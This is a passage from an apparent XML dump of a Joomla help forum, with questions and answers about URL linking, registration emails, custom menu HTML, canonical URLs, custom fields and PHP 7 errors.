encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;metadata&amp;gt;&amp;lt;fields name=&quot;params&quot;&amp;gt;&amp;lt;/fields&amp;gt;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2017-12-30T00:56:27.403" LastActivityDate="2017-12-30T00:56:27.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22178" PostTypeId="1" AcceptedAnswerId="22180" CreationDate="2017-12-30T16:37:44.763" Score="3" ViewCount="55" Body="&lt;p&gt;I want that my links for example &lt;a href=&quot;http://mysite.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.com&lt;/a&gt; get automatically converted to a hyperlink when i paste it in the editor. How is this possible?&lt;/p&gt;&#xA;" OwnerUserId="11820" LastActivityDate="2017-12-31T01:08:51.557" Title="Automatic url linking" Tags="|url|weblinks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22180" PostTypeId="2" ParentId="22178" CreationDate="2017-12-31T01:08:51.557" Score="3" Body="&lt;p&gt;In TinyMCE (the default editor) and also JCE Editor and probably most editors, a pasted url is automatically changed to a hyperlink if you press the space bar or the return key immediately after the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is convenient but you may still want to edit the hyperlink to add title text for better SEO.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-12-31T01:08:51.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22181" PostTypeId="1" CreationDate="2018-01-01T00:47:46.810" Score="0" ViewCount="88" Body="&lt;p&gt;I wanted to change the default user registration scenario. My desired workflow is the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.- The user enters in the &quot;create account&quot; form and enters all the user data: username, email, password, reminder question, etc..&#xA;2.- Joomla creates the account but the user is not active.&#xA;3.- Joomla sends an e-mail to the user e-mail account with a portal link to an url that activates the user&#xA;4.- The user makes click on the link and Joomla activates the user&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any plugins to achieve this workflow? Any help is appreciated?&lt;/p&gt;&#xA;" OwnerUserId="12066" LastActivityDate="2018-02-03T00:17:07.030" Title="User registration with confirmation e-mail" Tags="|login|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22182" PostTypeId="1" CreationDate="2018-01-01T02:57:33.747" Score="0" ViewCount="888" Body="&lt;p&gt;How do I add custom HTML into a menu? I wish to add this code as a menu item.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;/your-server-side-code&quot; method=&quot;POST&quot;&amp;gt;&#xA;  &amp;lt;script&#xA;    src=&quot;https://checkout.stripe.com/checkout.js&quot; class=&quot;stripe-button&quot;&#xA;    data-key=&quot;pk_test_xxxxxxxxxxxxxxxxxx&quot;&#xA;    data-amount=&quot;999&quot;&#xA;    data-name=&quot;xxxxxxxxxxxxxxx LLC&quot;&#xA;    data-description=&quot;Widget&quot;&#xA;    data-image=&quot;https://stripe.com/img/documentation/checkout/marketplace.png&quot;&#xA;    data-locale=&quot;auto&quot;&amp;gt;&#xA;  &amp;lt;/script&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It will show up as a button. I tried to select a Menu Item Type, but couldn't find anything that lets you enter HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.8.2.&lt;/p&gt;&#xA;" OwnerUserId="11822" LastEditorUserId="11822" LastEditDate="2018-01-01T03:42:48.180" LastActivityDate="2018-03-02T11:16:53.847" Title="How do I add custom HTML into a menu?" Tags="|menu-item|menu|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22183" PostTypeId="2" ParentId="22182" CreationDate="2018-01-01T09:53:24.287" Score="1" Body="&lt;p&gt;One way to do this is to find a menu extension (e.g. RokNavMenu) that lets you specify a Joomla module as the menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then add the code to a Custom HTML module using Sourcerer or similar so that the code is not deleted when you save the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RokNavMenu: &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/structure-a-navigation/menu-systems/roknavmenu&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/structure-a-navigation/menu-systems/roknavmenu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regular Labs Sourcerer: &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/sourcerer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extensions/extension/core-enhancements/coding-a-scripts-integration/sourcerer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2018-01-01T09:53:24.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22184" PostTypeId="1" CreationDate="2018-01-01T14:25:10.293" Score="1" ViewCount="179" Body="&lt;p&gt;pages like this open in my site and won't throw 404 page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; https://www.farafan-market.ir/component/content/article?id=242:&#xA;&amp;gt; https://www.farafan-market.ir/component/content/category/175-other&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what kind of pages are these and WHY should they be accessible?&#xA;what can i do about these?&#xA;I don't want any category or page that is not in the menus to be shown on the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;another problem is when i add something in the end of the site's URL, instead of opening 404 page, the main page opens up?!!!!&lt;/p&gt;&#xA;" OwnerUserId="8738" LastActivityDate="2018-01-05T15:12:36.517" Title="unwanted categories and pages shown on the website" Tags="|joomla-3.x|menu|seo|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22186" PostTypeId="1" AcceptedAnswerId="22202" CreationDate="2018-01-01T14:34:55.090" Score="2" ViewCount="1683" Body="&lt;p&gt;look at the URLs below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. /essays/technical-essays/180-technologies/247-megapixel&#xA;2. /essays/technical-essays/247-megapixel&#xA;3. /essays/technical-essays/technologies/247-megapixel&#xA;4. /essays/technical-essays/technologies/247-&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the right URL is the third one. but the product page shows up with other three URLs. &lt;strong&gt;notice that the forth URL is incorrect and incomplete&lt;/strong&gt; and an 404 error should be thrown. there are a lot of articles like this reported on google console as &quot;duplicate title tag&quot;. this means google has found these as separate pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in Joomla there is no where to assign canonical tag for articles to solve duplicate content issue. is there any solution to solve this?&lt;/p&gt;&#xA;" OwnerUserId="8738" LastEditorUserId="126" LastEditDate="2018-01-11T15:44:20.080" LastActivityDate="2020-05-08T04:36:29.320" Title="Canonical tag problem in Joomla articles" Tags="|joomla-3.x|articles|seo|content|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22187" PostTypeId="2" ParentId="4204" CreationDate="2018-01-02T02:23:04.330" Score="1" Body="&lt;p&gt;Another approach is through the JRouter object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFactory::getApplication()-&amp;gt;getRouter()-&amp;gt;getVars()[&quot;option&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unsure if there is ever a practical difference between the JRouter value and the value returned through JInput.&lt;/p&gt;&#xA;" OwnerUserId="11266" LastActivityDate="2018-01-02T02:23:04.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22191" PostTypeId="2" ParentId="22181" CreationDate="2018-01-03T16:02:30.220" Score="1" Body="&lt;p&gt;This will send out an activation email to users once they register that requires a link being clicked to authenticate an account.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click on Users &gt; Manage Users&lt;/li&gt;&#xA;&lt;li&gt;Click the Options button on the top right.&lt;/li&gt;&#xA;&lt;li&gt;Under &quot;New User Account Activation&quot; choose: Self&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is how i have my site configured. Hope it helps&lt;/p&gt;&#xA;" OwnerUserId="12072" LastEditorUserId="7730" LastEditDate="2018-01-03T23:34:11.960" LastActivityDate="2018-01-03T23:34:11.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22192" PostTypeId="1" CreationDate="2018-01-03T17:19:03.803" Score="1" ViewCount="243" Body="&lt;p&gt;Hi I am new in Joomla and i am trying to change the way my default forms look. For example, in the login form i would like to replace the default username field with an e-mail field, or in the user profile I would like to delete the confirm-email address field and add an image field (so every user can have his/her picture there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do this? I have searched online and can't find an answer. I have tried overwriting default files, searching for tutorials and still can't find the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is greatly appreciated.. thank you&lt;/p&gt;&#xA;" OwnerUserId="11999" LastActivityDate="2019-08-27T22:01:00.070" Title="How to edit/add/remove field of default login, registration, profile etc... forms" Tags="|default|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22193" PostTypeId="2" ParentId="22192" CreationDate="2018-01-03T23:22:51.793" Score="1" Body="&lt;p&gt;For something like this you are going to need to do this in a few steps and have a couple of options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make things easy I would recommend looking into something like JomSocial or Community Builder as most of the functionality you are looking for seems to be built in as far as avatars and custom registration pages. You other alternative is to override the Joomla Profile plugin as well as create a custom module for uploading/displaying avatar images for logged in users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this gives you a bit of guidance. I personally would recommend CB, I have used it in the past and it is very highly customizable.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2018-01-03T23:22:51.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22194" PostTypeId="1" AcceptedAnswerId="22195" CreationDate="2018-01-03T23:24:23.667" Score="0" ViewCount="1253" Body="&lt;p&gt;If I do print_r($this-&gt;item-&gt;jcfields) I see the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try to call it in the usual way nothing aooears. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to achieve this? They don’t appear in Params obviously. But if I can print them then surely I can echo them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really want to call separate fields in separate places. &lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2018-11-06T17:38:33.747" Title="How can I call custom fields in a blog view?" Tags="|custom-field|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22195" PostTypeId="2" ParentId="22194" CreationDate="2018-01-04T03:38:33.717" Score="2" Body="&lt;p&gt;At the bottom of the documentation&#xA;&lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_custom_fields/Overrides&lt;/a&gt;&#xA;it provides the technique for accessing individual fields within an override.  So for a field called 'example':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// File location: /templates/templatename/html/com_content/category/blog_item.php&#xA;&#xA;// loop first to make the fields easy to reference via the field name as a key&#xA;foreach($this-&amp;gt;item-&amp;gt;jcfields as $jcfield){&#xA;    $this-&amp;gt;item-&amp;gt;arbitrary_property_name[$jcfield-&amp;gt;name] = $jcfield;&#xA;}&#xA;&#xA;echo $this-&amp;gt;item-&amp;gt;introtext; &#xA;&#xA;echo $this-&amp;gt;item-&amp;gt;arbitrary_property_name['example']-&amp;gt;label; &#xA;echo $this-&amp;gt;item-&amp;gt;arbitrary_property_name['example']-&amp;gt;value; &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, what do you mean by the 'usual way'? There's like 25+ ways of getting custom fields.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2018-01-04T07:53:40.177" LastActivityDate="2018-01-04T07:53:40.177" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22196" PostTypeId="2" ParentId="22148" CreationDate="2018-01-04T15:05:38.880" Score="3" Body="&lt;p&gt;I finally resolved the issue. All I had to do was make sure that once the new user was created I set the $user variable back to the active user data by using JFactory::getUser(). I was really over thinking it. It was only displaying the just created user because after creating the user in our joomla table I had not thought to set it back.&lt;/p&gt;&#xA;" OwnerUserId="11029" LastActivityDate="2018-01-04T15:05:38.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22197" PostTypeId="1" AcceptedAnswerId="23879" CreationDate="2018-01-04T16:17:37.137" Score="1" ViewCount="553" Body="&lt;p&gt;In my component I am assigning the data from the model to the view using  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class FileUploaderViewFileUploader extends JViewLegacy  &#xA;{  &#xA;    // Overwriting JView display method  &#xA;    function display($tpl = null)   &#xA;    {  &#xA;        // Assign data to the view  &#xA;        $this-&amp;gt;items = $this-&amp;gt;get('Items'); // =&amp;gt; This causes the error    &#xA;        // Display the view  &#xA;        parent::display($tpl);  &#xA;    }  &#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error at my website I get is:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;Error: 0  &#xA;Using $this when not in object context&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anybody an idea what happened here? This code worked well under PHP 5.6.x as well as PHP 7.0.26.&lt;br&gt;&#xA;Thank you in advance.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards&lt;br&gt;&#xA;Andreas  &lt;/p&gt;&#xA;" OwnerUserId="12075" LastEditorUserId="9459" LastEditDate="2018-01-04T18:56:21.537" LastActivityDate="2018-12-04T20:37:46.997" Title="Joomla issue - &quot;$this-&gt;items = $this-&gt;get('Items'); does not work anymore under PHP 7.1 and 7.2" Tags="|php7|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22198" PostTypeId="2" ParentId="22197" CreationDate="2018-01-04T19:11:28.443" Score="0" Body="&lt;p&gt;Are you sure the error is coming from that line? If so, you may want to review your model's getItems method (include it also in your question for review). Likely you might be calling a static method somewhere, where you can't use &lt;code&gt;$this&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what is your Joomla version - is it up-to-date? Have you just updated Joomla? Are you sure the update went smoothly? Note that this error might be coming from anywhere... e.g. a plugin, or core code if an update didn't completed successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable error reporting and debug and see what else information you get from there.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-01-04T19:11:28.443" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22199" PostTypeId="2" ParentId="19389" CreationDate="2018-01-04T23:01:31.157" Score="4" Body="&lt;p&gt;For Joomla on php7+ non-fatal errors no longer contain the file and line in the error.  The trick is to handle the output of these errors in your template's error.php file. Add the file if it doesn't exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With a number of templates (including beez) they will show you the stacktrace (and thus also the location of the call the threw the error) if you have debugging on, but you can customise when and how it throws the messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example you could make an error.php file like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($_SERVER['REMOTE_ADDR'] == $your_ip){&#xA;  echo &quot;Error Code: &quot; . $this-&amp;gt;error-&amp;gt;getCode();&#xA;  echo &quot;&amp;lt;br&amp;gt;&quot;;&#xA;  echo htmlspecialchars($this-&amp;gt;error-&amp;gt;getMessage(), ENT_QUOTES, 'UTF-8');&#xA;  echo &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&quot;;&#xA;  echo $this-&amp;gt;renderBacktrace();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2018-03-11T22:38:53.150" LastActivityDate="2018-03-11T22:38:53.150" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22201" PostTypeId="2" ParentId="22184" CreationDate="2018-01-05T15:12:36.517" Score="2" Body="&lt;p&gt;When you do not have any associated menu item, Joomla will default to the homepage menu item. The urls from other components will be generated appropriately using component/componentname syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To avoid generating such URLs for your Joomla articles, create menu items for all your article categories. If you have too many categories, create the menu items for at least TOP level categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category 1 menu item&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sub Category 1 menu item&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Category 2 menu item&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now all your articles will take alias/url paths from these menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that creating these menu items will not make old URLs with component/content/ pattern invalid. Those urls will continue to work and you should avoid referencing such URLs from other page so that search engines don't see them.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2018-01-05T15:12:36.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22202" PostTypeId="2" ParentId="22186" CreationDate="2018-01-06T15:06:12.317" Score="1" Body="&lt;p&gt;After a lot of searching i found a good solution to solve Joomla article's canonical tag problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I solve this issue using Joomla custom fields.&#xA;see this article to learn how to do it:&#xA;&lt;a href=&quot;https://www.robertwent.com/blog/using-joomla-custom-fields-add-canonical-urls/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.robertwent.com/blog/using-joomla-custom-fields-add-canonical-urls/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can also read this for more information about this issue:&#xA;&lt;a href=&quot;https://joomlaseo.com/blog/joomla-3-and-canonical-url&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://joomlaseo.com/blog/joomla-3-and-canonical-url&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8738" LastActivityDate="2018-01-06T15:06:12.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22205" PostTypeId="1" CreationDate="2018-01-08T20:55:02.853" Score="3" ViewCount="1312" Body="&lt;p&gt;From the beginning of december 17, W3C XHTML started to point out this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;code&gt;type&lt;/code&gt; attribute is unnecessary for JavaScript resources.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The above warning is generated inside Joomla script itself to call modules or jQuery, CSS, etc. and is not written in any Joomla file. Probably is related the way Joomla call scripts in core files.&#xA;This problem also appears in WordPress, but there is a &lt;a href=&quot;https://wordpress.stackexchange.com/questions/287830/remove-type-attribute-from-script-and-style-tags-added-by-wordpress&quot;&gt;workaround&lt;/a&gt;. In Joomla I removed all the modules, the warnings decrease, but still there. I tested with another template, updated Joomla version to 3.8.3 and no solution. &lt;/p&gt;&#xA;" OwnerUserId="12083" LastEditorUserId="1520" LastEditDate="2018-01-13T07:27:49.017" LastActivityDate="2020-06-30T15:21:34.387" Title="How to remove the type attribute from script tags of an Html5 document?" Tags="|templates|javascript|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22206" PostTypeId="2" ParentId="22205" CreationDate="2018-01-08T23:26:38.187" Score="2" Body="&lt;p&gt;Joomla adds this attribute by default when a javascript is added but the type parameter is not specified.  You can see this in the addScript function at &lt;code&gt;libraries\src\Document\Document.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst you could write a plugin to override this output, it seems a pointless endeavour.  A warning is not the same as an error.  In this case, the code is still valid, merely with some &lt;strong&gt;unnecessary&lt;/strong&gt; bulk (this is because the HTML5 specification states that the default type value of &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; is already &quot;text/javascript&quot;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd assume future versions of Joomla are likely to remove that tag as it serves no real purpose any more - users on non-HTML5 browsers are going to be practically none-existant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst you should always use a validator, fixing every error and warning can be a mistake.  Review them, and make sure you understand them.  Fix any potentially harmful ones (most errors will be, most warnings will not be), and make sure the others are justifiable. In this case, it would add code bulk to your site with no benefit to a user, and as such, fixing the warning would seem to be a mistake.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2018-01-08T23:26:38.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22208" PostTypeId="1" CreationDate="2018-01-09T09:06:36.753" Score="1" ViewCount="306" Body="&lt;p&gt;I'am on Joomla! 3.8.3, on the register form i have added some custom fields. I want when the user submit the form, make a check on one custom field to check if the value entered is in the list of values in a specific table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks by advance&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2018-01-22T21:35:14.460" Title="Make an ajax request on submit on register page with custom fields" Tags="|custom-field|joomla3.8|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22209" PostTypeId="2" ParentId="22208" CreationDate="2018-01-09T11:09:08.433" Score="1" Body="&lt;p&gt;It is possible by developing a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_custom_fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your custom field output, render JavaScript that reads and send Ajax request to check values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to add a custom field to a core component, such as Joomla! Articles, you need to create a plugin and add template override to your core component view. See documentation below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2018-01-16T14:00:43.140" LastActivityDate="2018-01-16T14:00:43.140" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22211" PostTypeId="1" AcceptedAnswerId="23563" CreationDate="2018-01-09T16:25:15.127" Score="1" ViewCount="43" Body="&lt;p&gt;I have registered alternate domain for my original website mnt.mk so it will lead to my website. That second domain is mnt.com.mk &#xA;So far so good.&#xA;Now I noticed that site shows differently when accessing from the different domains. Also, I just updated Joomla logged using mnt.mk url, but when I log in using mnt.com.mk it says that joomla has update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both domains point to same folder on the hosting and there is only one joomla installation on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Correct me if I'm wrong but I thought that if any domains point to the same hosting it will get the same website.&lt;/p&gt;&#xA;" OwnerUserId="12087" LastActivityDate="2018-10-10T15:33:34.283" Title="Why same site acting differently when visiting from different domains?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22214" PostTypeId="2" ParentId="22211" CreationDate="2018-01-09T22:00:02.760" Score="3" Body="&lt;p&gt;Overall, this isn't a Joomla question.&lt;br&gt;&#xA;Quickly, some information to help you out:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although &lt;strong&gt;mnt.com.mk&lt;/strong&gt; redirects to &lt;strong&gt;mnt.mk&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This isn't the case for when you are reaching the administrator sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mnt.mk/administrator/&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is not the same as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mnt.com.mk/administrator/&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that:&lt;br&gt;&#xA;&lt;strong&gt;mnt.mk&lt;/strong&gt; points to &lt;strong&gt;23.227.129.242&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;while&#xA;&lt;strong&gt;mnt.com.mk&lt;/strong&gt; points to &lt;strong&gt;92.55.94.20&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So certainly you haven't setup things as you expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;Ask your hosting provider(s) domain registrars for support, or hire someone and give him all the details and access of your hosting accounts and where your domains are, to make the proper configuration for you.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2018-01-09T22:00:02.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22215" PostTypeId="2" ParentId="22205" CreationDate="2018-01-10T02:22:32.020" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/48172451/1440242&quot;&gt;The solution&lt;/a&gt; was found by user FabrizioG adding the following line in the &lt;code&gt;index.php&lt;/code&gt; of the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set HTML5 Document Output&#xA;$doc = JFactory::getDocument();&#xA;$doc-&amp;gt;setHtml5(true); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some warnings remain because I use &lt;em&gt;JCHOPtimize&lt;/em&gt;, it was easily solved by removing the &quot;type&quot; attribute in file &lt;code&gt;linkbuilder.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="12083" LastEditorUserId="1520" LastEditDate="2018-01-13T07:15:23.023" LastActivityDate="2018-01-13T07:15:23.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22216" PostTypeId="2" ParentId="3784" CreationDate="2018-01-10T02:59:21.300" Score="0" Body="&lt;p&gt;I am sure that you could pull any things from RSS feeds into your Joomla site. I used obGrabber and it is my suggestion!&lt;/p&gt;&#xA;" OwnerUserId="11780" LastActivityDate="2018-01-10T02:59:21.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22217" PostTypeId="2" ParentId="22111" CreationDate="2018-01-10T03:13:46.663" Score="0" Body="&lt;p&gt;Did you try to use other extensions to generate your feeds?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the most popular one of that type extension is obRSS.&lt;/p&gt;&#xA;" OwnerUserId="11780" LastActivityDate="2018-01-10T03:13:46.663" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22219" PostTypeId="2" ParentId="9672" CreationDate="2018-01-10T17:34:12.350" Score="0" Body="&lt;p&gt;Another way to load a module from your custom HTML extension would be to include the following code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JHtml::_('content.prepare', '{loadposition someposition}');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here you can read in more detail: &lt;a href=&quot;https://www.joomlashack.com/blog/joomla-how-to/module-position-component/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlashack.com/blog/joomla-how-to/module-position-component/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2018-01-10T17:34:12.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22220" PostTypeId="2" ParentId="10767" CreationDate="2018-01-10T17:55:40.810" Score="2" Body="&lt;p&gt;In Joomla 3.x, you could use the Joomla's native Categories module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your example shows 3 categories, so I would load three modules from within the article, and configure these modules to display the informaiton you want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;MODULE CONFIGURATION I WOULD DO: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Parent Category: Introduccion &lt;/li&gt;&#xA;&lt;li&gt;Category Descriptions: No &lt;/li&gt;&#xA;&lt;li&gt;Show Number of Articles: No &lt;/li&gt;&#xA;&lt;li&gt;Show Subcategories: Yes &lt;/li&gt;&#xA;&lt;li&gt;# First Subcategories: All&lt;/li&gt;&#xA;&lt;li&gt;Maximum Level Depth: 1 &lt;/li&gt;&#xA;&lt;li&gt;Menu assignment: only the pages where you need these&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;CONTENT OF THE ARTICLE CORRESPONDING TO THE PAGE YOU WANT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{loadposition inarticle-categories1}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{loadposition inarticle-categories2}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{loadposition inarticle-categories3}&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2018-01-10T17:55:40.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
